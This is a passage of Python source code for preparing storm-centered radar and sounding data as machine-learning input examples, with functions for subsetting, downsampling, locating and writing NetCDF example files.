num=num_examples, dtype=int) indices_to_keep = numpy.array([], dtype=int) class_keys = list(downsampling_dict.keys()) for this_class in class_keys: this_num_storm_objects = downsampling_dict[this_class] these_indices = numpy.where(target_values == this_class)[0] this_num_storm_objects = min( [this_num_storm_objects, len(these_indices)] ) if this_num_storm_objects == 0: continue if test_mode: these_indices = these_indices[:this_num_storm_objects] else: these_indices = numpy.random.choice( these_indices, size=this_num_storm_objects, replace=False) indices_to_keep = numpy.concatenate((indices_to_keep, these_indices)) return indices_to_keep def _file_name_to_batch_number(example_file_name): """Parses batch number from file. :param example_file_name: See doc for `find_example_file`. :return: batch_number: Integer. :raises: ValueError: if batch number cannot be parsed from file name. """ pathless_file_name = os.path.split(example_file_name)[-1] extensionless_file_name = os.path.splitext(pathless_file_name)[0] return int(extensionless_file_name.split('input_examples_batch')[-1]) def _check_target_vars(target_names): """Error-checks list of target variables. Target variables must all have the same mean lead time (average of min and max lead times) and event type (tornado or wind). :param target_names: 1-D list with names of target variables. Each must be accepted by `target_val_utils.target_name_to_params`. :return: mean_lead_time_seconds: Mean lead time (shared by all target variables). :return: event_type_string: Event type. :raises: ValueError: if target variables do not all have the same mean lead time or event type. """ error_checking.assert_is_string_list(target_names) error_checking.assert_is_numpy_array( numpy.array(target_names), num_dimensions=1 ) num_target_vars = len(target_names) mean_lead_times = numpy.full(num_target_vars, -1, dtype=int) event_type_strings = numpy.full(num_target_vars, '', dtype=object) for k in range(num_target_vars): this_param_dict = target_val_utils.target_name_to_params( target_names[k] ) event_type_strings[k] = this_param_dict[target_val_utils.EVENT_TYPE_KEY] mean_lead_times[k] = int(numpy.round( (this_param_dict[target_val_utils.MAX_LEAD_TIME_KEY] + this_param_dict[target_val_utils.MIN_LEAD_TIME_KEY]) / 2 )) if len(numpy.unique(mean_lead_times)) != 1: error_string = ( 'Target variables (listed below) have different mean lead times.' '\n{0:s}' ).format(str(target_names)) raise ValueError(error_string) if len(numpy.unique(event_type_strings)) != 1: error_string = ( 'Target variables (listed below) have different event types.\n{0:s}' ).format(str(target_names)) raise ValueError(error_string) return mean_lead_times[0], event_type_strings[0] def _check_layer_operation(example_dict, operation_dict): """Error-checks layer operation. Such operations are used for dimensionality reduction (to convert radar data from 3-D to 2-D). :param example_dict: See doc for `reduce_examples_3d_to_2d`. :param operation_dict: Dictionary with the following keys. operation_dict["radar_field_name"]: Field to which operation will be applied. operation_dict["operation_name"]: Name of operation (must be in list `VALID_LAYER_OPERATION_NAMES`). operation_dict["min_height_m_agl"]: Minimum height of layer over which operation will be applied. operation_dict["max_height_m_agl"]: Max height of layer over which operation will be applied. :raises: ValueError: if something is wrong with the operation params. """ if operation_dict[RADAR_FIELD_KEY] in AZIMUTHAL_SHEAR_FIELD_NAMES: error_string = ( 'Layer operations cannot be applied to azimuthal-shear fields ' '(such as "{0:s}").' ).format(operation_dict[RADAR_FIELD_KEY]) raise ValueError(error_string) if (operation_dict[RADAR_FIELD_KEY] == radar_utils.REFL_NAME and REFL_IMAGE_MATRIX_KEY in example_dict): pass else: if (operation_dict[RADAR_FIELD_KEY] not in example_dict[RADAR_FIELDS_KEY]): error_string = ( '\n{0:s}\nExamples contain only radar fields listed above, ' 'which do not include "{1:s}".' ).format( str(example_dict[RADAR_FIELDS_KEY]), operation_dict[RADAR_FIELD_KEY] ) raise ValueError(error_string) if operation_dict[OPERATION_NAME_KEY] not in VALID_LAYER_OPERATION_NAMES: error_string = ( '\n{0:s}\nValid operations (listed above) do not include ' '"{1:s}".' ).format( str(VALID_LAYER_OPERATION_NAMES), operation_dict[OPERATION_NAME_KEY] ) raise ValueError(error_string) min_height_m_agl = operation_dict[MIN_HEIGHT_KEY] max_height_m_agl = operation_dict[MAX_HEIGHT_KEY] error_checking.assert_is_geq( min_height_m_agl, numpy.min(example_dict[RADAR_HEIGHTS_KEY]) ) error_checking.assert_is_leq( max_height_m_agl, numpy.max(example_dict[RADAR_HEIGHTS_KEY]) ) error_checking.assert_is_greater(max_height_m_agl, min_height_m_agl) def _apply_layer_operation(example_dict, operation_dict): """Applies layer operation to radar data. :param example_dict: See doc for `reduce_examples_3d_to_2d`. :param operation_dict: See doc for `_check_layer_operation`. :return: new_radar_matrix: E-by-M-by-N numpy array resulting from layer operation. """ _check_layer_operation(example_dict=example_dict, operation_dict=operation_dict) height_diffs_metres = ( example_dict[RADAR_HEIGHTS_KEY] - operation_dict[MIN_HEIGHT_KEY] ).astype(float) height_diffs_metres[height_diffs_metres > 0] = -numpy.inf min_height_index = numpy.argmax(height_diffs_metres) height_diffs_metres = ( operation_dict[MAX_HEIGHT_KEY] - example_dict[RADAR_HEIGHTS_KEY] ).astype(float) height_diffs_metres[height_diffs_metres > 0] = -numpy.inf max_height_index = numpy.argmax(height_diffs_metres) operation_dict[MIN_HEIGHT_KEY] = example_dict[ RADAR_HEIGHTS_KEY][min_height_index] operation_dict[MAX_HEIGHT_KEY] = example_dict[ RADAR_HEIGHTS_KEY][max_height_index] operation_name = operation_dict[OPERATION_NAME_KEY] operation_function = OPERATION_NAME_TO_FUNCTION_DICT[operation_name] if REFL_IMAGE_MATRIX_KEY in example_dict: orig_matrix = example_dict[REFL_IMAGE_MATRIX_KEY][ ..., min_height_index:(max_height_index + 1), 0] else: field_index = example_dict[RADAR_FIELDS_KEY].index( operation_dict[RADAR_FIELD_KEY]) orig_matrix = example_dict[RADAR_IMAGE_MATRIX_KEY][ ..., min_height_index:(max_height_index + 1), field_index] return operation_function(orig_matrix, axis=-1), operation_dict def _subset_radar_data( example_dict, netcdf_dataset_object, example_indices_to_keep, field_names_to_keep, heights_to_keep_m_agl, num_rows_to_keep, num_columns_to_keep): """Subsets radar data by field, height, and horizontal extent. If the file contains both 2-D shear images and 3-D reflectivity images (like MYRORSS data): - `field_names_to_keep` will be interpreted as a list of shear fields to keep. If None, all shear fields will be kept. - `heights_to_keep_m_agl` will be interpreted as a list of reflectivity heights to keep. If None, all reflectivity heights will be kept. If the file contains only 2-D images, `field_names_to_keep` and `heights_to_keep_m_agl` will be considered together, as a list of field/height pairs to keep. If either argument is None, then all field-height pairs will be kept. If the file contains only 3-D images, `field_names_to_keep` and `heights_to_keep_m_agl` will be considered separately: - `field_names_to_keep` will be interpreted as a list of fields to keep. If None, all fields will be kept. - `heights_to_keep_m_agl` will be interpreted as a list of heights to keep. If None, all heights will be kept. :param example_dict: See output doc for `_read_metadata_from_example_file`. :param netcdf_dataset_object: Same. :param example_indices_to_keep: 1-D numpy array with indices of examples (storm objects) to keep. These are examples in `netcdf_dataset_object` for which radar data will be added to `example_dict`. :param field_names_to_keep: See discussion above. :param heights_to_keep_m_agl: See discussion above. :param num_rows_to_keep: Number of grid rows to keep. Images will be center-cropped (i.e., rows will be removed from the edges) to meet the desired number of rows. If None, all rows will be kept. :param num_columns_to_keep: Same as above but for columns. :return: example_dict: Same as input but with the following exceptions. [1] Keys "radar_field_names" and "radar_heights_m_agl" may have different values. [2] If file contains both 2-D and 3-D images, dictionary now contains keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01". [3] If file contains only 2-D or only 3-D images, dictionary now contains key "radar_image_matrix". """ if field_names_to_keep is None: field_names_to_keep = copy.deepcopy(example_dict[RADAR_FIELDS_KEY]) if heights_to_keep_m_agl is None: heights_to_keep_m_agl = example_dict[RADAR_HEIGHTS_KEY] + 0 error_checking.assert_is_numpy_array( numpy.array(field_names_to_keep), num_dimensions=1 ) heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int) error_checking.assert_is_numpy_array( heights_to_keep_m_agl, num_dimensions=1) if RADAR_IMAGE_MATRIX_KEY in netcdf_dataset_object.variables: radar_matrix = numpy.array( netcdf_dataset_object.variables[RADAR_IMAGE_MATRIX_KEY][ example_indices_to_keep, ... ], dtype=float ) num_radar_dimensions = len(radar_matrix.shape) - 2 if num_radar_dimensions == 2: these_indices = [ numpy.where(numpy.logical_and( example_dict[RADAR_FIELDS_KEY] == f, example_dict[RADAR_HEIGHTS_KEY] == h ))[0][0] for f, h in zip(field_names_to_keep, heights_to_keep_m_agl) ] these_indices = numpy.array(these_indices, dtype=int) radar_matrix = radar_matrix[..., these_indices] else: these_field_indices = numpy.array([ example_dict[RADAR_FIELDS_KEY].index(f) for f in field_names_to_keep ], dtype=int) radar_matrix = radar_matrix[..., these_field_indices] these_height_indices = numpy.array([ numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0] for h in heights_to_keep_m_agl ], dtype=int) radar_matrix = radar_matrix[..., these_height_indices, :] radar_matrix = storm_images.downsize_storm_images( storm_image_matrix=radar_matrix, radar_field_name=field_names_to_keep[0], num_rows_to_keep=num_rows_to_keep, num_columns_to_keep=num_columns_to_keep) example_dict[RADAR_IMAGE_MATRIX_KEY] = radar_matrix else: reflectivity_matrix_dbz = numpy.array( netcdf_dataset_object.variables[REFL_IMAGE_MATRIX_KEY][ example_indices_to_keep, ... ], dtype=float ) reflectivity_matrix_dbz = numpy.expand_dims( reflectivity_matrix_dbz, axis=-1 ) azimuthal_shear_matrix_s01 = numpy.array( netcdf_dataset_object.variables[AZ_SHEAR_IMAGE_MATRIX_KEY][ example_indices_to_keep, ... ], dtype=float ) these_height_indices = numpy.array([ numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0] for h in heights_to_keep_m_agl ], dtype=int) reflectivity_matrix_dbz = reflectivity_matrix_dbz[ ..., these_height_indices, :] these_field_indices = numpy.array([ example_dict[RADAR_FIELDS_KEY].index(f) for f in field_names_to_keep ], dtype=int) azimuthal_shear_matrix_s01 = azimuthal_shear_matrix_s01[ ..., these_field_indices] reflectivity_matrix_dbz = storm_images.downsize_storm_images( storm_image_matrix=reflectivity_matrix_dbz, radar_field_name=radar_utils.REFL_NAME, num_rows_to_keep=num_rows_to_keep, num_columns_to_keep=num_columns_to_keep) azimuthal_shear_matrix_s01 = storm_images.downsize_storm_images( storm_image_matrix=azimuthal_shear_matrix_s01, radar_field_name=field_names_to_keep[0], num_rows_to_keep=num_rows_to_keep, num_columns_to_keep=num_columns_to_keep) example_dict[REFL_IMAGE_MATRIX_KEY] = reflectivity_matrix_dbz example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] = azimuthal_shear_matrix_s01 example_dict[RADAR_FIELDS_KEY] = field_names_to_keep example_dict[RADAR_HEIGHTS_KEY] = heights_to_keep_m_agl return example_dict def _subset_sounding_data( example_dict, netcdf_dataset_object, example_indices_to_keep, field_names_to_keep, heights_to_keep_m_agl): """Subsets sounding data by field and height. :param example_dict: See doc for `_subset_radar_data`. :param netcdf_dataset_object: Same. :param example_indices_to_keep: Same. :param field_names_to_keep: 1-D list of field names to keep. If None, will keep all fields. :param heights_to_keep_m_agl: 1-D numpy array of heights to keep. If None, will keep all heights. :return: example_dict: Same as input but with the following exceptions. [1] Keys "sounding_field_names" and "sounding_heights_m_agl" may have different values. [2] Key "sounding_matrix" has been added. """ if field_names_to_keep is None: field_names_to_keep = copy.deepcopy(example_dict[SOUNDING_FIELDS_KEY]) if heights_to_keep_m_agl is None: heights_to_keep_m_agl = example_dict[SOUNDING_HEIGHTS_KEY] + 0 error_checking.assert_is_numpy_array( numpy.array(field_names_to_keep), num_dimensions=1 ) heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int) error_checking.assert_is_numpy_array( heights_to_keep_m_agl, num_dimensions=1) sounding_matrix = numpy.array( netcdf_dataset_object.variables[SOUNDING_MATRIX_KEY][ example_indices_to_keep, ... ], dtype=float ) # TODO(thunderhoser): This is a HACK. spfh_index = example_dict[SOUNDING_FIELDS_KEY].index( soundings.SPECIFIC_HUMIDITY_NAME) temp_index = example_dict[SOUNDING_FIELDS_KEY].index( soundings.TEMPERATURE_NAME) pressure_index = example_dict[SOUNDING_FIELDS_KEY].index( soundings.PRESSURE_NAME) theta_v_index = example_dict[SOUNDING_FIELDS_KEY].index( soundings.VIRTUAL_POTENTIAL_TEMPERATURE_NAME) sounding_matrix[..., spfh_index][ numpy.isnan(sounding_matrix[..., spfh_index]) ] = 0. nan_example_indices, nan_height_indices = numpy.where(numpy.isnan( sounding_matrix[..., theta_v_index] )) if len(nan_example_indices) > 0: this_temp_matrix_kelvins = sounding_matrix[..., temp_index][ nan_example_indices, nan_height_indices] this_pressure_matrix_pa = sounding_matrix[..., pressure_index][ nan_example_indices, nan_height_indices] this_thetav_matrix_kelvins = ( temp_conversion.temperatures_to_potential_temperatures( temperatures_kelvins=this_temp_matrix_kelvins, total_pressures_pascals=this_pressure_matrix_pa) ) sounding_matrix[..., theta_v_index][ nan_example_indices, nan_height_indices ] = this_thetav_matrix_kelvins these_indices = numpy.array([ example_dict[SOUNDING_FIELDS_KEY].index(f) for f in field_names_to_keep ], dtype=int) sounding_matrix = sounding_matrix[..., these_indices] these_indices = numpy.array([ numpy.where(example_dict[SOUNDING_HEIGHTS_KEY] == h)[0][0] for h in heights_to_keep_m_agl ], dtype=int) sounding_matrix = sounding_matrix[..., these_indices, :] example_dict[SOUNDING_FIELDS_KEY] = field_names_to_keep example_dict[SOUNDING_HEIGHTS_KEY] = heights_to_keep_m_agl example_dict[SOUNDING_MATRIX_KEY] = sounding_matrix return example_dict def find_storm_images_2d( top_directory_name, radar_source, radar_field_names, first_spc_date_string, last_spc_date_string, radar_heights_m_agl=None, reflectivity_heights_m_agl=None): """Locates files with 2-D storm-centered radar images. D = number of SPC dates in time period (`first_spc_date_string`... `last_spc_date_string`) :param top_directory_name: Name of top-level directory. Files therein will be found by `storm_images.find_storm_image_file`. :param radar_source: Data source (must be accepted by `radar_utils.check_data_source`). :param radar_field_names: 1-D list of radar fields. Each item must be accepted by `radar_utils.check_field_name`. :param first_spc_date_string: First SPC date (format "yyyymmdd"). This method will locate files from `first_spc_date_string`... `last_spc_date_string`. :param last_spc_date_string: Same. :param radar_heights_m_agl: [used only if radar_source = "gridrad"] 1-D numpy array of radar heights (metres above ground level). These heights apply to all radar fields. :param reflectivity_heights_m_agl: [used only if radar_source != "gridrad"] 1-D numpy array of reflectivity heights (metres above ground level). These heights do not apply to other radar fields. :return: radar_file_name_matrix: D-by-C numpy array of file paths. """ radar_utils.check_data_source(radar_source) first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec( first_spc_date_string) last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec( last_spc_date_string) if radar_source == radar_utils.GRIDRAD_SOURCE_ID: storm_image_file_dict = storm_images.find_many_files_gridrad( top_directory_name=top_directory_name, radar_field_names=radar_field_names, radar_heights_m_agl=radar_heights_m_agl, start_time_unix_sec=first_spc_date_unix_sec, end_time_unix_sec=last_spc_date_unix_sec, one_file_per_time_step=False, raise_error_if_all_missing=True) else: storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms( top_directory_name=top_directory_name, radar_source=radar_source, radar_field_names=radar_field_names, reflectivity_heights_m_agl=reflectivity_heights_m_agl, start_time_unix_sec=first_spc_date_unix_sec, end_time_unix_sec=last_spc_date_unix_sec, one_file_per_time_step=False, raise_error_if_all_missing=True, raise_error_if_any_missing=False) radar_file_name_matrix = storm_image_file_dict[ storm_images.IMAGE_FILE_NAMES_KEY] num_file_times = radar_file_name_matrix.shape[0] if radar_source == radar_utils.GRIDRAD_SOURCE_ID: num_field_height_pairs = ( radar_file_name_matrix.shape[1] * radar_file_name_matrix.shape[2] ) radar_file_name_matrix = numpy.reshape( radar_file_name_matrix, (num_file_times, num_field_height_pairs) ) time_missing_indices = numpy.unique( numpy.where(radar_file_name_matrix == '')[0] ) return numpy.delete( radar_file_name_matrix, time_missing_indices, axis=0) def find_storm_images_3d( top_directory_name, radar_source, radar_field_names, radar_heights_m_agl, first_spc_date_string, last_spc_date_string): """Locates files with 3-D storm-centered radar images. D = number of SPC dates in time period (`first_spc_date_string`... `last_spc_date_string`) :param top_directory_name: See doc for `find_storm_images_2d`. :param radar_source: Same. :param radar_field_names: List (length F_r) of radar fields. Each item must be accepted by `radar_utils.check_field_name`. :param radar_heights_m_agl: numpy array (length H_r) of radar heights (metres above ground level). :param first_spc_date_string: First SPC date (format "yyyymmdd"). This method will locate files from `first_spc_date_string`... `last_spc_date_string`. :param last_spc_date_string: Same. :return: radar_file_name_matrix: numpy array (D x F_r x H_r) of file paths. """ radar_utils.check_data_source(radar_source) first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec( first_spc_date_string) last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec( last_spc_date_string) if radar_source == radar_utils.GRIDRAD_SOURCE_ID: file_dict = storm_images.find_many_files_gridrad( top_directory_name=top_directory_name, radar_field_names=radar_field_names, radar_heights_m_agl=radar_heights_m_agl, start_time_unix_sec=first_spc_date_unix_sec, end_time_unix_sec=last_spc_date_unix_sec, one_file_per_time_step=False, raise_error_if_all_missing=True) else: file_dict = storm_images.find_many_files_myrorss_or_mrms( top_directory_name=top_directory_name, radar_source=radar_source, radar_field_names=[radar_utils.REFL_NAME], reflectivity_heights_m_agl=radar_heights_m_agl, start_time_unix_sec=first_spc_date_unix_sec, end_time_unix_sec=last_spc_date_unix_sec, one_file_per_time_step=False, raise_error_if_all_missing=True, raise_error_if_any_missing=False) radar_file_name_matrix = file_dict[storm_images.IMAGE_FILE_NAMES_KEY] num_file_times = radar_file_name_matrix.shape[0] if radar_source != radar_utils.GRIDRAD_SOURCE_ID: radar_file_name_matrix = numpy.reshape( radar_file_name_matrix, (num_file_times, 1, len(radar_heights_m_agl)) ) time_missing_indices = numpy.unique( numpy.where(radar_file_name_matrix == '')[0] ) return numpy.delete( radar_file_name_matrix, time_missing_indices, axis=0) def find_storm_images_2d3d_myrorss( top_directory_name, first_spc_date_string, last_spc_date_string, reflectivity_heights_m_agl): """Locates files with 2-D and 3-D storm-centered radar images. Fields in 2-D images: low-level and mid-level azimuthal shear Field in 3-D images: reflectivity D = number of SPC dates in time period (`first_spc_date_string`... `last_spc_date_string`) :param top_directory_name: See doc for `find_storm_images_2d`. :param first_spc_date_string: Same. :param last_spc_date_string: Same. :param reflectivity_heights_m_agl: Same. :return: az_shear_file_name_matrix: D-by-2 numpy array of file paths. Files in column 0 are low-level az shear; files in column 1 are mid-level az shear. :return: reflectivity_file_name_matrix: D-by-H numpy array of file paths, where H = number of reflectivity heights. """ first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec( first_spc_date_string) last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec( last_spc_date_string) field_names = AZIMUTHAL_SHEAR_FIELD_NAMES + [radar_utils.REFL_NAME] storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms( top_directory_name=top_directory_name, radar_source=radar_utils.MYRORSS_SOURCE_ID, radar_field_names=field_names, reflectivity_heights_m_agl=reflectivity_heights_m_agl, start_time_unix_sec=first_spc_date_unix_sec, end_time_unix_sec=last_spc_date_unix_sec, one_file_per_time_step=False, raise_error_if_all_missing=True, raise_error_if_any_missing=False) radar_file_name_matrix = storm_image_file_dict[ storm_images.IMAGE_FILE_NAMES_KEY] time_missing_indices = numpy.unique( numpy.where(radar_file_name_matrix == '')[0] ) radar_file_name_matrix = numpy.delete( radar_file_name_matrix, time_missing_indices, axis=0) return radar_file_name_matrix[:, :2], radar_file_name_matrix[:, 2:] def find_sounding_files( top_sounding_dir_name, radar_file_name_matrix, target_names, lag_time_for_convective_contamination_sec): """Locates files with storm-centered soundings. D = number of SPC dates in time period :param top_sounding_dir_name: Name of top-level directory. Files therein will be found by `soundings.find_sounding_file`. :param radar_file_name_matrix: numpy array created by either `find_storm_images_2d` or `find_storm_images_3d`. Length of the first axis is D. :param target_names: See doc for `_check_target_vars`. :param lag_time_for_convective_contamination_sec: See doc for `soundings.read_soundings`. :return: sounding_file_names: length-D list of file paths. """ error_checking.assert_is_numpy_array(radar_file_name_matrix) num_file_dimensions = len(radar_file_name_matrix.shape) error_checking.assert_is_geq(num_file_dimensions, 2) error_checking.assert_is_leq(num_file_dimensions, 3) mean_lead_time_seconds = _check_target_vars(target_names)[0] num_file_times = radar_file_name_matrix.shape[0] sounding_file_names = [''] * num_file_times for i in range(num_file_times): if num_file_dimensions == 2: this_file_name = radar_file_name_matrix[i, 0] else: this_file_name = radar_file_name_matrix[i, 0, 0] this_time_unix_sec, this_spc_date_string = ( storm_images.image_file_name_to_time(this_file_name) ) sounding_file_names[i] = soundings.find_sounding_file( top_directory_name=top_sounding_dir_name, spc_date_string=this_spc_date_string, lead_time_seconds=mean_lead_time_seconds, lag_time_for_convective_contamination_sec= lag_time_for_convective_contamination_sec, init_time_unix_sec=this_time_unix_sec, raise_error_if_missing=True) return sounding_file_names def find_target_files(top_target_dir_name, radar_file_name_matrix, target_names): """Locates files with target values (storm-hazard indicators). D = number of SPC dates in time period :param top_target_dir_name: Name of top-level directory. Files therein will be found by `target_val_utils.find_target_file`. :param radar_file_name_matrix: numpy array created by either `find_storm_images_2d` or `find_storm_images_3d`. Length of the first axis is D. :param target_names: See doc for `_check_target_vars`. :return: target_file_names: length-D list of file paths. """ error_checking.assert_is_numpy_array(radar_file_name_matrix) num_file_dimensions = len(radar_file_name_matrix.shape) error_checking.assert_is_geq(num_file_dimensions, 2) error_checking.assert_is_leq(num_file_dimensions, 3) event_type_string = _check_target_vars(target_names)[-1] num_file_times = radar_file_name_matrix.shape[0] target_file_names = [''] * num_file_times for i in range(num_file_times): if num_file_dimensions == 2: this_file_name = radar_file_name_matrix[i, 0] else: this_file_name = radar_file_name_matrix[i, 0, 0] _, this_spc_date_string = storm_images.image_file_name_to_time( this_file_name) target_file_names[i] = target_val_utils.find_target_file( top_directory_name=top_target_dir_name, event_type_string=event_type_string, spc_date_string=this_spc_date_string, raise_error_if_missing=False) if os.path.isfile(target_file_names[i]): continue target_file_names[i] = None return target_file_names def subset_examples(example_dict, indices_to_keep, create_new_dict=False): """Subsets examples in dictionary. :param example_dict: See doc for `write_example_file`. :param indices_to_keep: 1-D numpy array with indices of examples to keep. :param create_new_dict: Boolean flag. If True, this method will create a new dictionary, leaving the input dictionary untouched. :return: example_dict: Same as input, but possibly with fewer examples. """ error_checking.assert_is_integer_numpy_array(indices_to_keep) error_checking.assert_is_numpy_array(indices_to_keep, num_dimensions=1) error_checking.assert_is_boolean(create_new_dict) if not create_new_dict: for this_key in MAIN_KEYS: optional_key_missing = ( this_key not in REQUIRED_MAIN_KEYS and this_key not in example_dict ) if optional_key_missing: continue if this_key == TARGET_MATRIX_KEY: if this_key in example_dict: example_dict[this_key] = ( example_dict[this_key][indices_to_keep, ...] ) else: example_dict[TARGET_VALUES_KEY] = ( example_dict[TARGET_VALUES_KEY][indices_to_keep] ) continue if this_key == FULL_IDS_KEY: example_dict[this_key] = [ example_dict[this_key][k] for k in indices_to_keep ] else: example_dict[this_key] = example_dict[this_key][ indices_to_keep, ...] return example_dict new_example_dict = {} for this_key in METADATA_KEYS: sounding_key_missing = ( this_key in [SOUNDING_FIELDS_KEY, SOUNDING_HEIGHTS_KEY] and this_key not in example_dict ) if sounding_key_missing: continue if this_key == TARGET_NAMES_KEY: if this_key in example_dict: new_example_dict[this_key] = example_dict[this_key] else: new_example_dict[TARGET_NAME_KEY] = example_dict[ TARGET_NAME_KEY] continue new_example_dict[this_key] = example_dict[this_key] for this_key in MAIN_KEYS: optional_key_missing = ( this_key not in REQUIRED_MAIN_KEYS and this_key not in example_dict ) if optional_key_missing: continue if this_key == TARGET_MATRIX_KEY: if this_key in example_dict: new_example_dict[this_key] = ( example_dict[this_key][indices_to_keep, ...] ) else: new_example_dict[TARGET_VALUES_KEY] = ( example_dict[TARGET_VALUES_KEY][indices_to_keep] ) continue if this_key == FULL_IDS_KEY: new_example_dict[this_key] = [ example_dict[this_key][k] for k in indices_to_keep ] else: new_example_dict[this_key] = example_dict[this_key][ indices_to_keep, ...] return new_example_dict def find_example_file( top_directory_name, shuffled=True, spc_date_string=None, batch_number=None, raise_error_if_missing=True): """Looks for file with input examples. If `shuffled = True`, this method looks for a file with shuffled examples (from many different times). If `shuffled = False`, this method looks for a file with examples from one SPC date. :param top_directory_name: Name of top-level directory with input examples. :param shuffled: Boolean flag. The role of this flag is explained in the general discussion above. :param spc_date_string: [used only if `shuffled = False`] SPC date (format "yyyymmdd"). :param batch_number: [used only if `shuffled = True`] Batch number (integer). :param raise_error_if_missing: Boolean flag. If file is missing and `raise_error_if_missing = True`, this method will error out. :return: example_file_name: Path to file with input examples. If file is missing and `raise_error_if_missing = False`, this is the *expected* path. :raises: ValueError: if file is missing and `raise_error_if_missing = True`. """ error_checking.assert_is_string(top_directory_name) error_checking.assert_is_boolean(shuffled) error_checking.assert_is_boolean(raise_error_if_missing) if shuffled: error_checking.assert_is_integer(batch_number) error_checking.assert_is_geq(batch_number, 0) first_batch_number = int(number_rounding.floor_to_nearest( batch_number, NUM_BATCHES_PER_DIRECTORY)) last_batch_number = first_batch_number + NUM_BATCHES_PER_DIRECTORY - 1 example_file_name = ( '{0:s}/batches{1:07d}-{2:07d}/input_examples_batch{3:07d}.nc' ).format(top_directory_name, first_batch_number, last_batch_number, batch_number) else: time_conversion.spc_date_string_to_unix_sec(spc_date_string) example_file_name = ( '{0:s}/{1:s}/input_examples_{2:s}.nc' ).format(top_directory_name, spc_date_string[:4], spc_date_string) if raise_error_if_missing and not os.path.isfile(example_file_name): error_string = 'Cannot find file. Expected at: "{0:s}"'.format( example_file_name) raise ValueError(error_string) return example_file_name def find_many_example_files( top_directory_name, shuffled=True, first_spc_date_string=None, last_spc_date_string=None, first_batch_number=None, last_batch_number=None, raise_error_if_any_missing=True): """Looks for many files with input examples. :param top_directory_name: See doc for `find_example_file`. :param shuffled: Same. :param first_spc_date_string: [used only if `shuffled = False`] First SPC date (format "yyyymmdd"). This method will look for all SPC dates from `first_spc_date_string`...`last_spc_date_string`. :param last_spc_date_string: See above. :param first_batch_number: [used only if `shuffled = True`] First batch number (integer). This method will look for all batches from `first_batch_number`...`last_batch_number`. :param last_batch_number: See above. :param raise_error_if_any_missing: Boolean flag. If *any* desired file is not found and `raise_error_if_any_missing = True`, this method will error out. :return: example_file_names: 1-D list of paths to example files. :raises: ValueError: if no files are found. """ error_checking.assert_is_boolean(shuffled) if shuffled: error_checking.assert_is_integer(first_batch_number) error_checking.assert_is_integer(last_batch_number) error_checking.assert_is_geq(first_batch_number, 0) error_checking.assert_is_geq(last_batch_number, first_batch_number) example_file_pattern = ( '{0:s}/batches{1:s}-{1:s}/input_examples_batch{1:s}.nc' ).format(top_directory_name, BATCH_NUMBER_REGEX) example_file_names = glob.glob(example_file_pattern) if len(example_file_names) > 0: batch_numbers = numpy.array( [_file_name_to_batch_number(f) for f in example_file_names], dtype=int) good_indices = numpy.where(numpy.logical_and( batch_numbers >= first_batch_number, batch_numbers <= last_batch_number ))[0] example_file_names = [example_file_names[k] for k in good_indices] if len(example_file_names) == 0: error_string = ( 'Cannot find any files with batch number from {0:d}...{1:d}.' ).format(first_batch_number, last_batch_number) raise ValueError(error_string) return example_file_names spc_date_strings = time_conversion.get_spc_dates_in_range( first_spc_date_string=first_spc_date_string, last_spc_date_string=last_spc_date_string) example_file_names = [] for this_spc_date_string in spc_date_strings: this_file_name = find_example_file( top_directory_name=top_directory_name, shuffled=False, spc_date_string=this_spc_date_string, raise_error_if_missing=raise_error_if_any_missing) if not os.path.isfile(this_file_name): continue example_file_names.append(this_file_name) if len(example_file_names) == 0: error_string = ( 'Cannot find any file with SPC date from {0:s} to {1:s}.' ).format(first_spc_date_string, last_spc_date_string) raise ValueError(error_string) return example_file_names def write_example_file(netcdf_file_name, example_dict, append_to_file=False): """Writes input examples to NetCDF file. The following keys are required in `example_dict` only if the examples include soundings: - "sounding_field_names" - "sounding_heights_m_agl" - "sounding_matrix" If the examples contain both 2-D azimuthal-shear images and 3-D reflectivity images: - Keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01" are required. - "radar_heights_m_agl" should contain only reflectivity heights. - "radar_field_names" should contain only the names of azimuthal-shear fields. If the examples contain 2-D radar images and no 3-D images: - Key "radar_image_matrix" is required. - The [j]th element of "radar_field_names" should be the name of the [j]th radar field. - The [j]th element of "radar_heights_m_agl" should be the corresponding height. - Thus, there are C elements in "radar_field_names", C elements in "radar_heights_m_agl", and C field-height pairs. If the examples contain 3-D radar images and no 2-D images: - Key "radar_image_matrix" is required. - Each field in "radar_field_names" appears at each height in "radar_heights_m_agl". - Thus, there are F_r elements in "radar_field_names", H_r elements in "radar_heights_m_agl", and F_r * H_r field-height pairs. :param netcdf_file_name: Path to output file. :param example_dict: Dictionary with the following keys. example_dict['full_id_strings']: length-E list of full storm IDs. example_dict['storm_times_unix_sec']: length-E list of valid times. example_dict['radar_field_names']: List of radar fields (see general discussion above). example_dict['radar_heights_m_agl']: numpy array of radar heights (see general discussion above). example_dict['rotated_grids']: Boolean flag. If True, storm-centered radar grids are rotated so that storm motion is in the +x-direction. example_dict['rotated_grid_spacing_metres']: Spacing of rotated grids. If grids are not rotated, this should be None. example_dict['radar_image_matrix']: See general discussion above. For 2-D images, this should be a numpy array with dimensions E x M x N x C. For 3-D images, this should be a numpy array with dimensions E x M x N x H_r x F_r. example_dict['reflectivity_image_matrix_dbz']: See general discussion above. Dimensions should be E x M x N x H_refl x 1, where H_refl = number of reflectivity heights. example_dict['az_shear_image_matrix_s01']: See general discussion above. Dimensions should be E x M x N x F_as, where F_as = number of azimuthal-shear fields. example_dict['target_names']: 1-D list with names of target variables. Each must be accepted by `target_val_utils.target_name_to_params`. example_dict['target_matrix']: E-by-T numpy array of target values (integer class labels), where T = number of target variables. example_dict['sounding_field_names']: list (length F_s) of sounding fields. Each item must be accepted by `soundings.check_field_name`. example_dict['sounding_heights_m_agl']: numpy array (length H_s) of sounding heights (metres above ground level). 